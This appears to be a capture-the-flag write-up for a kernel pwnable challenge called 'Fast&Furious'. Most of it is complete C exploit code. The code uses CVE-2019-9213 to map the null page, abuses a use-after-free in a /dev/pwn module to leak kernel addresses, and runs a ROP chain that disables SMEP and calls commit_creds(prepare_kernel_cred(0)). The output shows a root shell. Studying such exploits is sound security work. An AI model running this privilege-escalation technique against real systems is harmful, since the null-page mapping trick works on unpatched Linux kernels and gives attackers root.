Fast&Furious
Category : pwnable
Summary : kernel module, use-after-free, null page dereference, memory leak, CVE-2019-9213
Exploit
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
//#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>
void *ptr;
uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rflags;
uint64_t user_stack;
int
allocate_null_page (void)
{
void *map = mmap ((void *) 0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED,
-1, 0);
if (map == MAP_FAILED)
err (1, "mmap");
int fd = open ("/proc/self/mem", O_RDWR);
if (fd == -1)
err (1, "open");
unsigned long addr = (unsigned long) map;
while (addr != 0)
{
addr -= 0x1000;
if (lseek (fd, addr, SEEK_SET) == -1)
err (1, "lseek");
char cmd[1000];
sprintf (cmd, "LD_DEBUG=help busybox 1>&%d", fd);
system (cmd);
}
}
void
shell ()
{
execl ("/bin/sh", "sh", 0);
}
void
save_state ()
{
asm volatile ("movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n":"=r" (user_cs), "=r" (user_ss), "=r" (user_stack),
"=r" (user_rflags)::"memory");
}
#define PWN_WRITE 6
#define PWN_READ 66
#define PWN_EDIT 666
#define PWN_DELETE 6666
struct node
{
char *data;
uint64_t size;
};
struct obj
{
uint64_t count;
struct node n[16];
int idx;
};
int
main ()
{
char pay[0x300 * 4], tmp[0x100000];
uint64_t leak, override_creds;
uint64_t gg_pivot_stack, gg_commit_creds, gg_prepare_kernel_cred,
gg_mov_cr4, gg_mov_cr0, gg_pop_rdi, gg_pop_rcx, gg_mov_rdi_rax, gg_swapgs,
gg_iretq, gg_mov_cr3_rax, gg_mov_rax_cr3, gg_pop_rsi, gg_xor_rsi;
uint64_t *null_page = 0, *rop, *rop2, *rop_base, *rop2_base;
struct obj o;
int fd;
char *ll = mmap ((void *) 0xf60000, 0x1000, 7,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
*ll = 0x90;
allocate_null_page ();
printf ("[+] null page allocated\n");
fd = open ("/dev/pwn", 0);
memset (pay, 'A', 0x300 * 4);
/* note 0 (for kernel addr leak) */
o.count = 1;
o.n[0].data = pay;
o.n[0].size = 8;
ioctl (fd, PWN_WRITE, &o);
o.count = 1;
o.n[0].data = 0xdeadbeef;
o.n[0].size = 8;
o.idx = 0;
ioctl (fd, PWN_EDIT, &o);
/* note 1 */
o.count = 4;
o.n[0].data = pay;
o.n[0].size = 0x300;
o.n[1].data = pay;
o.n[1].size = 0x300;
o.n[2].data = pay;
o.n[2].size = 0x300;
o.n[3].data = pay;
o.n[3].size = 0x300;
ioctl (fd, PWN_WRITE, &o);
o.count = 1;
o.n[0].data = &leak;
o.n[0].size = 8;
o.idx = 0;
ioctl (fd, PWN_READ, &o);
printf ("[+] kernel addr leak : %p\n", leak);
o.count = 4;
o.n[0].data = 0xdeadbeef;
o.n[0].size = 0x300;
o.n[1].data = pay;
o.n[1].size = 0x300;
o.n[2].data = pay;
o.n[2].size = 0x300;
o.n[3].data = pay;
o.n[0].size = 0x300;
o.idx = 1;
ioctl (fd, PWN_EDIT, &o);
rop = pay + 8;
rop2_base = calloc (0x1000, 1);
rop2 = (uint64_t) rop2_base + 8;
save_state ();
gg_pivot_stack = leak + 0x31bcaf;
gg_prepare_kernel_cred = leak - 0x1b61f0;
gg_commit_creds = leak - 0x1b65a0;
gg_pop_rdi = leak + 0x1ebd62; //
gg_mov_cr0 = leak - 0x1ff7fc;
gg_mov_cr4 = leak - 0x24fb20; //
gg_pop_rcx = leak - 0x8410d; //
gg_mov_rdi_rax = leak - 0x2415b1;
gg_swapgs = leak - 0x1ff70c;
gg_iretq = leak - 0x2393a5;
gg_mov_cr3_rax = gg_mov_cr4 + 0xbe0d09;
gg_mov_rax_cr3 = gg_mov_cr4 + 0x50354;
gg_pop_rsi = gg_mov_cr4 + 0xedde1;
gg_xor_rsi = gg_mov_cr4 + 0x9c7f23;
*rop++ = gg_pop_rdi;
*rop++ = 0x6f0;
*rop++ = gg_mov_cr4;
*rop++ = 0;
*rop++ = gg_pop_rdi;
*rop++ = 0;
*rop++ = gg_prepare_kernel_cred;
*rop++ = gg_pop_rcx;
*rop++ = 0;
*rop++ = gg_mov_rdi_rax;
*rop++ = 0;
*rop++ = gg_commit_creds;
*rop++ = gg_swapgs;
*rop++ = 0;
*rop++ = gg_mov_rax_cr3;
*rop++ = 0;
*rop++ = gg_pop_rsi;
*rop++ = (1 << 12);
*rop++ = gg_xor_rsi;
*rop++ = gg_pop_rdi;
*rop++ = rop2_base;
*rop++ = gg_pivot_stack;
*rop++ = gg_mov_cr3_rax;
*rop++ = gg_iretq;
*rop++ = shell; // rip
*rop++ = user_cs; // cs
*rop++ = user_rflags; // rflags
*rop++ = tmp + 0x4000; //user_stack; //sp
*rop++ = user_ss; //ss
*rop2++ = gg_mov_cr3_rax;
*rop2++ = gg_iretq;
*rop2++ = shell; // rip
*rop2++ = user_cs; // cs
*rop2++ = user_rflags; // rflags
*rop2++ = tmp + 0x4000; //user_stack; //sp
*rop2++ = user_ss; //
o.count = 4;
o.n[0].data = pay;
o.n[0].size = 0xf0;
o.n[1].data = pay;
o.n[1].size = 0x1;
o.n[2].data = pay;
o.n[2].size = 0x1;
o.n[3].data = pay;
o.n[3].size = 0x1;
o.idx = 1;
ioctl (fd, PWN_EDIT, &o);
*null_page = gg_pivot_stack;
/* escalate */
o.count = 1;
ioctl (fd, PWN_DELETE, &o);
close (fd);
}
Result
$ ./startvm.sh
___ ____ _____ _____ _______ ____ _____ _____ ____ ___ _ ___
/ _ \ / ___|_ _| ___/ /_ _/ ___|_ _| ___| |___ \ / _ \/ |/ _ \
| | | | | | | | |_ / / | || | | | | |_ __) | | | | | (_) |
| |_| | |___ | | | _/ / | || |___ | | | _| / __/| |_| | |\__, |
\___/ \____| |_| |_|/_/ |_| \____| |_| |_| |_____|\___/|_| /_/
~ $ /exploit
[+] null page allocated
[+] kernel addr leak : 0xffffffff9be6ffa0
/home/pwn # id
uid=0(root) gid=0